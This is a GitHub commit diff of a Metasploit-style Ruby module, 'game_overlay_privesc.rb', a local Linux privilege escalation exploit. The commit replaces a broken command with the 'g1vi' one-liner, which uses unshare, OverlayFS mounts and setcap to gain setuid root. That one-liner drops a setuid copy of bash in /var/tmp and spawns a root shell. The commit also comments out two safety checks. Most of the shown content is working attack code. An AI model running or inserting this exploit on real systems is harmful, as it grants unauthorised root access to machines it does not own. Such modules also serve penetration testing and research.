Skip to content

Commit becef21

Browse files
author
Corey
committed
expirement w g1vi exploit
1 parent aee4ced commit becef21

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/linux/local/game_overlay_privesc.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -105,22 +105,22 @@ def check
105105
def exploit
106106
# Still need to figure out if meterpreter or shell can interact with the spawned process
107107
# So we can run a shell without having to drop a new executable
108-
print_status "Running exploit..."
109-
110108
payload_file = datastore['PayloadFilename']
111109
register_file_for_cleanup payload
112110

113111
# Write payload file
114112
print_status "payload_file: #{payload_file}"
115113

116-
Failure::BadConfig "#{payload_file} already exists" if file? payload_file
117-
Failure::BadConfig "Current directory isn't writeable" unless writable? '.'
114+
#Failure::BadConfig "#{payload_file} already exists" if file? payload_file
115+
#Failure::BadConfig "Current directory isn't writeable" unless writable? '.'
118116

119117
write_file payload_file, generate_payload.generate
120118

121119
# run shell in a different namespace, add setuid capabilities and create a new mount point
122120
# Based on g1vi exploit: "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
123-
hack = "unshare -rm sh -c \"mkdir l u w m && cp #{payload_file} l/; setcap cap_setuid+eip l/#{payload_file}; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; && chmod 4755 /u/#{payload_file} && /u/#{payload_file}" # && rm -rf l/ m/ u/ w/ #{payload} }
121+
hack = "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
122+
#"unshare -rm sh -c \"mkdir l u w m && cp #{payload_file} l/; setcap cap_setuid+eip l/#{payload_file}; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; && chmod 4755 /u/#{payload_file} && /u/#{payload_file}" # && rm -rf l/ m/ u/ w/ #{payload} }
123+
124124
print_status("Running exploit '#{hack}'")
125125
cmd_exec hack
126126
end

0 commit comments

Comments
 (0)